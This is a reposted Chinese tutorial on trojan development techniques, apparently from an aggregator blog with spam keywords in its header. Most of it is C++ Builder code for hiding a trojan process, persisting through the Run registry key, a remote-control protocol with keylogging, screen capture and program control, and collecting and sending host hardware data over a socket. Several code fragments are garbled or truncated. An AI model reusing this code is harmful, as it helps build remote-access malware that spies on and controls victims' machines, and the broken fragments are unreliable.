日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

透视特洛伊木马程序开发技术(转)

發布時間:2024/8/1 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 透视特洛伊木马程序开发技术(转) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
透視特洛伊木馬程序開發技術(轉)
轉:純真CZ88.NET

  近年來,黑客技術不斷成熟起來,對網絡安全造成了極大的威脅,黑客的主要攻擊手段之一,就是使用木馬技術,滲透到對方的主機系統里,從而實現對遠程操作目標主機。 其破壞力之大,是絕不容忽視的,黑客到底是如何制造了這種種具有破壞力的木馬程序呢,下面我對木馬進行源代碼級的詳細的分析,讓我們對木馬的開發技術做一次徹底的透視,從了解木馬技術開始,更加安全的管理好自己的計算機。

  1、木馬程序的分類

  木馬程序技術發展至今,已經經歷了4代,第一代,即是簡單的密碼竊取,發送等,沒有什么特別之處。第二代木馬,在技術上有了很大的進步,冰河可以說為是國內木馬的典型代表之一。第三代木馬在數據傳遞技術上,又做了不小的改進,出現了ICMP等類型的木馬,利用畸形報文傳遞數據,增加了查殺的難度。第四代木馬在進程隱藏方面,做了大的改動,采用了內核插入式的嵌入方式,利用遠程插入線程技術,嵌入DLL線程?;蛘邟旖覲SAPI,實現木馬程序的隱藏,甚至在Windows NT/2000下,都達到了良好的隱藏效果。相信,第五代木馬很快也會被編制出來。關于更詳細的說明,可以參考ShotGun的文章《揭開木馬的神秘面紗》。

   2.木馬程序的隱藏技術

  木馬程序的服務器端,為了避免被發現,多數都要進行隱藏處理,下面讓我們來看看木馬是如何實現隱藏的。

  說到隱藏,首先得先了解三個相關的概念:進程,線程和服務。我簡單的解釋一下。

  進程:一個正常的Windows應用程序,在運行之后,都會在系統之中產生一個進程,同時,每個進程,分別對應了一個不同的PID(Progress ID, 進程標識符)這個進程會被系統分配一個虛擬的內存空間地址段,一切相關的程序操作,都會在這個虛擬的空間中進行。

  線程:一個進程,可以存在一個或多個線程,線程之間同步執行多種操作,一般地,線程之間是相互獨立的,當一個線程發生錯誤的時候,并不一定會導致整個進程的崩潰。

  服務:一個進程當以服務的方式工作的時候,它將會在后臺工作,不會出現在任務列表中,但是,在Windows NT/2000下,你仍然可以通過服務管理器檢查任何的服務程序是否被啟動運行。

  想要隱藏木馬的服務器端,可以偽隱藏,也可以是真隱藏。偽隱藏,就是指程序的進程仍然存在,只不過是讓他消失在進程列表里。真隱藏則是讓程序徹底的消失,不以一個進程或者服務的方式工作。

  偽隱藏的方法,是比較容易實現的,只要把木馬服務器端的程序注冊為一個服務就可以了,這樣,程序就會從任務列表中消失了,因為系統不認為他是一個進程,當按下Ctrl+Alt+Delete的時候,也就看不到這個程序。但是,這種方法只適用于Windows9x的系統,對于Windows NT,Windows 2000等,通過服務管理器,一樣會發現你在系統中注冊過的服務。難道偽隱藏的方法就真的不能用在Windows NT/2000下了嗎?當然還有辦法,那就是API的攔截技術,通過建立一個后臺的系統鉤子,攔截PSAPI的EnumProcessModules等相關的函數來實現對進程和服務的遍歷調用的控制,當檢測到進程ID(PID)為木馬程序的服務器端進程的時候直接跳過,這樣就實現了進程的隱藏,金山詞霸等軟件,就是使用了類似的方法,攔截了TextOutA,TextOutW函數,來截獲屏幕輸出,實現即時翻譯的。同樣,這種方法也可以用在進程隱藏上。

   當進程為真隱藏的時候,那么這個木馬的服務器部分程序運行之后,就不應該具備一般進程,也不應該具備服務的,也就是說,完全的溶進了系統的內核。也許你會覺得奇怪,剛剛不是說一個應用程序運行之后,一定會產生一個進程嗎?的確,所以我們可以不把他做成一個應用程序,而把他做為一個線程,一個其他應用程序的線程,把自身注入其他應用程序的地址空間。而這個應用程序對于系統來說,是一個絕對安全的程序,這樣,就達到了徹底隱藏的效果,這樣的結果,導致了查殺黑客程序難度的增加。

  出于安全考慮,我只給出一種通過注冊服務程序,實現進程偽隱藏的方法,對于更復雜,高級的隱藏方法,比如遠程線程插入其他進程的方法,請參閱ShotGun的文章《NT系統下木馬進程的隱藏與檢測》。

  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

  {

  try

  {

  DWORD dwVersion = GetVersion();  //取得Windows的版本號

  if (dwVersion >= 0x80000000)   // Windows 9x隱藏任務列表

  {

   int (CALLBACK *rsp)(DWORD,DWORD);

   HINSTANCE dll=LoadLibrary("KERNEL32.DLL");  //裝入KERNEL32.DLL

   rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");  //找到RegisterServiceProcess的入口

   rsp(NULL,1);  //注冊服務

   FreeLibrary(dll);  //釋放DLL模塊

  }

  }

  catch (Exception &exception)  //處理異常事件

  {

  //處理異常事件

  }

  return 0;

  3、程序的自加載運行技術

  讓程序自運行的方法比較多,除了最常見的方法:加載程序到啟動組,寫程序啟動路徑到注冊表的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run的方法外,還有很多其他的辦法,據yagami講,還有幾十種方法之多,比如可以修改Boot.ini,或者通過注冊表里的輸入法鍵值直接掛接啟動,通過修改Explorer.exe啟動參數等等的方法,真的可以說是防不勝防,下面展示一段通過修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run鍵值來實現自啟動的程序:

  自裝載部分:

  HKEY hkey;

  AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PName

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//",

  0L,

  NULL,

  REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,

  NULL,

  &hkey,&k);

   RegSetValueEx(hkey,

  "BackGroup",

  0,

  REG_SZ,

  NewProgramName.c_str(),

  NewProgramName.Length());

  RegCloseKey(hkey);

  if (int(ShellExecute(Handle,

  "open",

  NewProgramName.c_str(),

  NULL,

  NULL,

  SW_HIDE))>32)

  {

   WantClose=true;

  Close();

  }

  else

  {

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,&k);

  RegSetValueEx(hkey,

  "BackGroup",

  0,

  REG_SZ,

  ProgramName.c_str(),

  ProgramName.Length());

  int num=0;

  char str[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,str,

  NULL,

  &type,

  strv,&vl);

  if (strcmp(str,"BGroup")==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

   break;

  }

  }while(Suc== ERROR_SUCCESS);

  RegCloseKey(hkey);

  }

  自裝載程序的卸載代碼:

  int num;

  char str2[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,

  str,

  NULL,

  &type,

  strv,

  &vl);

  if (strcmp(str,"BGroup")==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

   break;

  }

  }while(Suc== ERROR_SUCCESS)

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

   RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,

  &k);

  do{

  Suc=RegEnumValue(hkey,(DWORD)num,str,  if (strcmp(str,"BackGroup")==0)

  {

  DeleteFile(AnsiString(strv));

  RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");

  break;

  }

  }while(Suc== ERROR_SUCCESS)

  RegCloseKey(hkey);

  其中自裝載部分使用C++ Builder可以這樣寫,會比較簡化:

  TRegistry & regKey = *new TRegistry();

  regKey.RootKey=HKEY_LOCAL_MACHINE;

  regKey.OpenKey("Software//Microsoft//Windows//CurrentVersion//Run",true);

  if(!regKey.ValueExists("Interbase Server"))

  {

  regKey.WriteString("Interbase Server",

  "D://Program Files//Borland//IntrBase//BIN//ibserver.exe");

  }

  regKey.CloseKey();

  delete &regey;

  4、木馬程序的建立連接的隱藏

  木馬程序的數據傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數據的方法了,通常是利用Winsock與目標機的指定端口建立起連接,使用send和recv等API進行數據的傳遞,但是由于這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡單的,比如在命令行狀態下使用netstat命令,就可以查看到當前的活動TCP,UDP連接。

  C:/Documents and Settings/bigball>netstat -n

  Active Connections

   Proto Local Address Foreign Address State

   TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED

   TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED

   TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT

   TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED

   TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT

  C:/Documents and Settings/bigball>netstat -a

  Active Connections

   Proto Local Address Foreign Address State

   TCP Liumy:echo Liumy:0 LISTENING

   TCP Liumy:discard Liumy:0 LISTENING

   TCP Liumy:daytime Liumy:0 LISTENING

   TCP Liumy:qotd Liumy:0 LISTENING

   TCP Liumy:chargen Liumy:0 LISTENING

   TCP Liumy:epmap Liumy:0 LISTENING

   TCP Liumy:microsoft-ds Liumy:0 LISTENING

   TCP Liumy:1025 Liumy:0 LISTENING

   TCP Liumy:1026 Liumy:0 LISTENING

   TCP Liumy:1031 Liumy:0 LISTENING

   TCP Liumy:1032 Liumy:0 LISTENING

   TCP Liumy:1112 Liumy:0 LISTENING

   TCP Liumy:1135 Liumy:0 LISTENING

   TCP Liumy:1142 Liumy:0 LISTENING

   TCP Liumy:1801 Liumy:0 LISTENING

   TCP Liumy:3372 Liumy:0 LISTENING

   TCP Liumy:3389 Liumy:0 LISTENING

   TCP Liumy:netbios-ssn Liumy:0 LISTENING

   TCP Liumy:1028 Liumy:0 LISTENING

   TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB

   TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI

   TCP Liumy:1135 202.130.239.223:http ESTABLISHED

   TCP Liumy:1142 202.130.239.223:http ESTABLISHED

   TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT

   TCP Liumy:1170 202.130.239.133:http TIME_WAIT

   TCP Liumy:2103 Liumy:0 LISTENING

   TCP Liumy:2105 Liumy:0 LISTENING

   TCP Liumy:2107 Liumy:0 LISTENING

   UDP Liumy:echo *:*

   UDP Liumy:discard *:*

   UDP Liumy:daytime *:*

   UDP Liumy:qotd *:*

   UDP Liumy:chargen *:*

   UDP Liumy:epmap *:*

   UDP Liumy:snmp *:*

   UDP Liumy:microsoft-ds *:*

   UDP Liumy:1027 *:*

   UDP Liumy:1029 *:*

   UDP Liumy:3527 *:*

   UDP Liumy:4000 *:*

   UDP Liumy:4001 *:*

   UDP Liumy:1033 *:*

   UDP Liumy:1148 *:*

   UDP Liumy:netbios-ns *:*

   UDP Liumy:netbios-dgm *:*

   UDP Liumy:isakmp *:*

  但是,黑客還是用種種手段躲避了這種偵察,就我所知的方法大概有兩種,一種是合并端口法,也就是說,使用特殊的手段,在一個端口上同時綁定兩個TCP或者UDP連接,這聽起來不可思議,但事實上確實如此,而且已經出現了使用類似方法的程序,通過把自己的木馬端口綁定于特定的服務端口之上,(比如80端口的HTTP,誰懷疑他會是木馬程序呢?)從而達到隱藏端口的目地。另外一種辦法,是使用ICMP(Internet Control Message Protocol)協議進行數據的發送,原理是修改ICMP頭的構造,加入木馬的控制字段,這樣的木馬,具備很多新的特點,不占用端口的特點,使用戶難以發覺,同時,使用ICMP可以穿透一些防火墻,從而增加了防范的難度。之所以具有這種特點,是因為ICMP不同于TCP,UDP,ICMP工作于網絡的應用層不使用TCP協議。關于網絡層次的結構,下面給出圖示:

   網絡層次結構圖

  5、發送數據的組織方法

  關于數據的組織方法,可以說是數學上的問題。關鍵在于傳遞數據的可靠性,壓縮性,以及高效行。木馬程序,為了避免被發現,必須很好的控制數據傳輸量,一個編制較好的木馬,往往有自己的一套傳輸協議,那么程序上,到底是如何組織實現的呢?下面,我舉例包裝一些協議:

  typedef struct{ //定義消息結構

  //char ip[20];

  char Type; //消息種類

  char Password[20]; //密碼

  int CNum; //消息操作號

  //int Length; //消息長度

  }Msg;

  #define MsgLen sizeof(Msg)

  //-------------------------------------------

  //對話框數據包定義:Dlg_Msg_Type.h

  //-------------------------------------------

  //定義如下消息類型:

  #define MsgDlgCommon 4//連接事件

  #define MsgDlgSend 5//發送完成事件

  //消息結構

  typedef struct{

   char Name[20];//對話框標題

   char Msg[256];//對話框消息內容

  }MsgDlgUint;

  #define MsgDlgLen sizeof(MsgDlgUint)//消息單元長度

  //------------------------------------------

  //聊天數據包定義:Chat_Msg_Type.h

  //------------------------------------------

  //定義如下消息類型:

  #define MsgChatCommon 0//連接事件

  #define MsgChatConnect 1//接入事件

  #define MsgChatEscept 2//結束事件

  #define MsgChatReceived 16//確認對話內容收到

  //消息結構

  typedef struct{

   char ClientName[20];//Client自定義的名稱

   char Msg[256];//發送的消息

  }MsgChatUint;

  #define MsgChatLen sizeof(MsgChatUint)//消息單元長度

  //------------------------------------------

  //重啟數據包定義:Reboot_Msg_Type.h

  //------------------------------------------

  //定義如下消息類型:

  #define MsgReBoot 15//重啟事件

  //------------------------------------------

  //目錄結構請求數據包定義:Dir_Msg_Type.h

  //------------------------------------------

  //定義如下消息類型:

  #define MsgGetDirInfo 17

  #define MsgReceiveGetDirInfo 18

  typedef struct{

  char Dir[4096];//你要的目錄名

  }MsgDirUint;

  #define MsgDirUintLen sizeof(MsgDirUint)

  // TCP的Msg

  typedef struct{ //定義消息結構

  char SType; //消息種類

  char SPassword[20]; //密碼

  //int SNum; //消息操作號

  char *AllMsg;

  }SMsg;

  #define SMsgLen sizeof(SMsg)

  #define MSGListProgram 19

  #define MSGFlyMouse 21

  #define MSGGoWithMouse 22

  #define MSGSaveKey 23

  #define MSGTracekey 24

  #define MsgCopyScreen 25//tcp接收消息,udp請求消息

  #define MSGCopyWindow 26

  //-------------------------

  //鼠標指針隱藏和顯示控制

  //-------------------------

  #define MsgSetMouseStat 27//設置消息

  #define MsgMouseStat 28//成功消息

  typedef struct{

  bool mouseshow;

  }MsgSetMouseStatUint;

  #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

  //-------------------------

  //任務欄隱藏和顯示控制

  //-------------------------

  #define MsgSetTaskBarStat 29//設置消息

  #define MsgTaskBarStat 30//成功消息

  typedef struct{

  bool taskshow;

  }MsgSetTaskBarStatUint;

  #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

  //-------------------------

  //得到機器名

  //-------------------------

  #define MsgGetNetBiosName 31//取請求

  #define MsgNetBiosName 32//回送機器名

  typedef struct{

  char NetBiosName[128];

  }MsgNetBiosNameUint;

  #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

  //-------------------------

  //關閉進程變更!

  //-------------------------

  #define MsgSetProgramClose 33//關閉請求

  #define MsgProgramClosed 34//成功消息-----

  typedef struct{

  char ProgramName[4096];//old struct : char ProgramName[128];//要關閉的窗口的名字

  }MsgSetProgramCloseUint;

  #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

  //-------------------------

  //打開進程變更!

  //-------------------------

  #define MsgSetProgramOpen 20//打開請求

  #define MsgProgramOpened 36//成功消息

  typedef struct{

  char ProgramName[4096]; //old struct : char ProgramName[128];//要打開的程序的名字

  bool ProgramShow;//前臺運行或后臺運行程序(隱藏運行)

  }MsgSetProgramOpenUint;

  #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

  #define MsgGetHardWare 35//請求硬件信息(UDP消息)和回傳硬件信息(TCP消息)

  上面一段定義,使用了TCP和UDP兩種協議目的就是為了減少TCP連接的幾率,這樣所消耗的系統資源就會比較少,不容易讓目標機察覺。很多木馬程序中,都有像上面定義中類似的密碼定義,目地是為了防止非真實客戶機的連接請求。SNum 為消息操作號,它的作用是為了效驗數據是否是發送過的,經過分析而知,我們熟悉的OICQ也正是使用了這一辦法來校驗消息的。

  數據協議組織好,還有一步工作,就是數據的打包發送,一般的方法是把全部數據壓為一個VOID類型的數據流,然后發送:

  Msg *msg=new Msg;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  RData->Read(msg,sizeof(Msg));

  UdpConnect *udpconnect=new UdpConnect;

  NetBiosName *netbiosname=new NetBiosName;

  if(msg->CNum==CNumBak)

  return;

  else{

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0://MsgUdpConnect

  RData->Read(udpconnect,sizeof(UdpConnect));

  checkuser(udpconnect->IsRight);

  break;

  case 1:

  RData->Read(netbiosname,sizeof(NetBiosName));

  AnsiString jqm="機器名 ";

  jqm+=(AnsiString)netbiosname->NetBiosName;

  Memo2->Lines->Add(jqm);

  break;

  }

  }

  當服務器端收到數據后,首先要做的工作是解包還原VOID流為結構化的協議,這里同樣給出事例代碼:

  NMUDP1->RemoteHost=FromIP;

  NMUDP1->RemotePort=Port;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  Msg *msg=new Msg;

  RData->Read(msg,sizeof(Msg));

  if(msg->CNum==CNumBak)

  return;

  else

  {

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0:

  checkuser(msg->Password);

  break;

  case 1:

  GetNetBiosName();

  break;

  case 2:

  CheckHard();

  break;

  }

  }

  此外,很多木馬程序支持了屏幕回傳的功能,其根本的原理是先捕獲屏幕畫面,然后回傳給客戶機,由于畫面的數據量很大所以,很多木馬程序都是在畫面改變的時候才回傳改變部分的畫面,常用的手段是最小矩形法,下面以好友“古老傳說”的一段算法舉例:

  #define MAXXCount 10 //屏幕X方向最多分割塊數

  #define MAXYCount 5 //... Y................

  #define DestNum 1000 //每塊的偏移檢測點最大個數

  COLORREF Colors[MAXXCount][MAXYCount][DestNum];

  COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];

  TPoint Dests[DestNum];

  int Sw;

  int Sh;

  int xCount;

  int yCount;

  int ItemWidth;

  int ItemHeight;

  int Dnum;

  int Qlity;

  //得到消息后執行:

  //另外:接收到的數據包中分析出 Dnum ,Qlity

  //Dnum:偏移觀測點數量

  //Qlity:圖象要求質量

  __fastcall TForm1::CopyScreen(int DNum,int Qlity){

  ItemWidth=Sw/xCount;

  ItemHeight=Sh/yCount;

  Sw=Screen->Width;

  Sh=Screen->Height;

  xCount=(Sw>1000)?8:6;

  yCount=(Sh>1000)?3:2;

  for (int num1=0;num1 Dests[num1].x=random(ItemWidth);

  Dests[num1].y=random(ItemHeight);

  }

  CatchScreen(DNum,Qlity);

  }

  //收到刷屏消息后只執行:

  CatchScreen(DNum,Qlity);

  __fastcall TForm1::CatchScreen(int DNum,int Qlity){

  //函數功能:掃描改變的屏幕區域,并切經過優化處理,最后發送這些區域數據

  //DNum: 偏移量 Qlity:圖象質量

  HDC dc=GetDC(GetDesktopWindow());

  Graphics::TBitmap *bm=new Graphics::TBitmap;

  bm->Width=Sw;

  bm->Height=Sh;

  BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);

  int num1,num2,num3;

  int nowx,nowy;

  bool Change;

  bool ItemChange[MAXXCount][MAXYCount];

  for (num1=0;num1 nowx=ItemWidth*num1;

  for (num2=0;num2 nowy=ItemHeight*num2;

  Change=false;

  for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];

  if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){

  BakColors[num1][num2][num3]=Colors[num1][num2][num3];

  ItemChange[num1][num2]=true;

  }

  }

  }

  }

  int CNum,MaxCNum;

  int ChangedNum=0;

  TRect *Rect;

  int num4;

  int MinSize=10000;

  int m;

  TRect MinRect;

  Graphics::TBitmap *bt2=new Graphics::TBitmap;

  TJPEGImage *j=new TJPEGImage;

  //************************

  j->Quality=Qlity;

  //************************

  CopyScreenUint CopyScreen;

  CopyScreenItemUint CopyScreenItem;

  TMemoryStream *ms=new TMemoryStream;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUint));

  do{

  for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){

  MaxCNum=0;

  for (num4=num2+1;num4<=yCount;num4++){ //遍歷所有矩形

  CNum=GetChangedNum(TRect(num1,num2,num3,num4));

  if (CNum>MaxCNum) MaxCNum=CNum;

  m=(num3-num1)*(num4-num2);

  if (2*m-CNum MinSize=2*m-CNum;

  MinRect=TRect(num1,num2,num3,num4);

  }

  }

  }

  TMemoryStream *ms;

  BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);

  j->Assign(bt2);

  j->SaveToStream(ms2);

  CopyScreenItem.Rect=TRect(num1,num2,num3,num4);

  CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定義為:#define JPEGFILE 1

  ms2->Position=0;

  CopyScreenItem.Length=ms2->Size;

  ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));

  ms->CopyFrom(ms2,ms2->Size);

  ChangedNum++;

  }while(MaxCNum>0);

  TcpMsg.Type=MsgCopyScreen;

  ms->Position=0;

  TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);

  CopyScreen.Count=ChangedNum;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUInt));

  ms->Position=0;

  sock->SendStream(ms);

  }

  這個程序把屏幕畫面切分為了多個部分,并存儲畫面為JPG格式,這樣壓縮率就變的十分的高了。通過這種方法壓縮處理過的數據,變得十分小,甚至在屏幕沒有改變的情況下,傳送的數據量為0,在這里不做過多分析了,有興趣的朋友,可以多看看。

  6、目標機器情況的獲取

  相對于以上幾部分來說,這里實現的方法簡單多了,這一段內容會比較輕松,一般獲取機器情況的方法是調用相關的API,這一點上是和應用程序很相像的。

  AnsiString cs;

  FILE *fp;

  fp=fopen("temp.had","w+");

  //TODO: Add your source code here

  //獲得CPU型號

  SYSTEM_INFO systeminfo;

  GetSystemInfo (&systeminfo);

  cs="CPU類型是:"+String(systeminfo.dwProcessorType)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  MEMORYSTATUS memory;

  memory.dwLength =sizeof(memory); //初始化

  GlobalMemoryStatus(&memory);

  cs="物理內存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs="可用內存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  DWORD sector,byte,cluster,free;

  long int freespace,totalspace;

  UINT type;

  char name;

  //0—未知盤、1—不存在、2—可移動磁盤、3—固定磁盤、4—網絡磁盤、

  //5—CD-ROM、6—內存虛擬盤

  char volname[255],filename[100];//buffer[512];

  DWORD sno,maxl,fileflag ;

  for (name=‘A‘;name<=‘Z‘;name++) {//循環檢測A~Z

  type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //獲得磁盤類型

  if(type==0){

  cs="未知類型磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==2){

  cs="可移動類型磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==3){

  cs="固定磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==4)   {

  cs="網絡映射磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==5)  {

  cs="光驅:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==6)  {

  cs="內存虛擬磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))  {

  cs=String(name)+"盤卷標為:"+String(volname)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+"盤序號為:"+String(sno)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //獲得返回參數

  totalspace=int(cluster)*byte*sector/1024/1024; //計算總容量

  freespace=int(free)*byte*sector/1024/1024; //計算可用空間

  cs=String(name)+String(‘:‘)+"盤總空間(Mb):"+AnsiString(totalspace)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+String(‘:‘)+"盤可用空間(Mb):"+AnsiString(freespace)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  }

  int wavedevice,mididevice;

  WAVEOUTCAPS wavecap;

  MIDIOUTCAPS midicap;

  wavedevice=(int)waveOutGetNumDevs(); //波形設備信息

  mididevice=(int)midiOutGetNumDevs(); // MIDI設備信息

  if (wavedevice!=0){

  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

  cs="當前波形設備:"+String(wavecap.szPname)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  if (mididevice!=0){

  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

  cs="當前MIDI設備:"+String(midicap.szPname)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  long double tcs;

  long double tc;

  long int bpp,cp;

  cs="當前分辨率為:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

  tcs=pow(2,bpp); //計算色彩的梯度數

  cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

  tc= pow(double(tcs),double(cp)); //計算色深

  AnsiString sss;

  sss=bpp;

  cs="當前色深為:"+sss+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  fclose(fp);

  AnsiString FileName="temp.had";

  char *buf;

  TcpMsgUint Msg2;

  strcpy(Msg2.TPassword,Password);

  TMemoryStream *ms=new TMemoryStream;

  ms->Clear();

  if (!FileExists(FileName)) CheckHard();

  TFileStream *fs=new TFileStream(FileName,fmOpenRead);

  buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

  fs->Read(buf,fs->Size);

  Msg2.Type=MsgGetHardWare;

  Msg2.Length=fs->Size;

  FileClose(fs->Handle);

  ms->Write(&Msg2,sizeof(TcpMsgUint));

  ms->Write(buf,Msg2.Length);

  ms->Position=0;

  delete []buf;

  try{

  sock->SendStream(ms);

  }

  catch(Exception&e) {

  }

  }

  上面一段程序,基本上把相關的系統信息都取到了。

  7、服務器端程序的包裝與加密

  有些軟件允許用戶自定義端口號。這樣做的目的,是為了防止被反黑程序檢測出來,這種功能是如何實現的呢?

  首先讓我們來做一個實驗:

  進入Windows的命令行模式下做如下操作

  1)C:/>copy Server.Exe Server.Bak

  2)建立一個文本文件Test.Txt,其內容為“http://www.patching.net”

  3)C:/>type Text.Txt>>Server.Exe

  4)運行Server.Exe

  怎么樣?是不是發現Server.Exe仍然可以運行呢?木馬服務器端自定制的奧秘就在這里:首先生成了一個EXE文件,這個EXE文件里有一項讀取自身進程內容的操作,讀取時,文件的指針直接指向進程的末尾,從末尾的倒數N個字節處取得用戶定制的信息,比如端口號等,然后傳遞給程序的相關部分進行處理。這里不給出相關的代碼部分,有興趣的朋友請參考一些文件打包程序代碼,它所使用的技術是大同小異的。

  8、總結

  以上講的幾點技術,基本上包括了所有第二代木馬的特點,個別的木馬程序支持服務器列表,宏傳播等,實現上大同小異。隨著技術的不斷更新和發展,相信離第五代木馬出現的日子已經不遠了,黑與反黑,如此往復的的進行下去,希望這篇文章在您閱讀之后能帶給您一些反黑技術上的幫助。

總結

以上是生活随笔為你收集整理的透视特洛伊木马程序开发技术(转)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。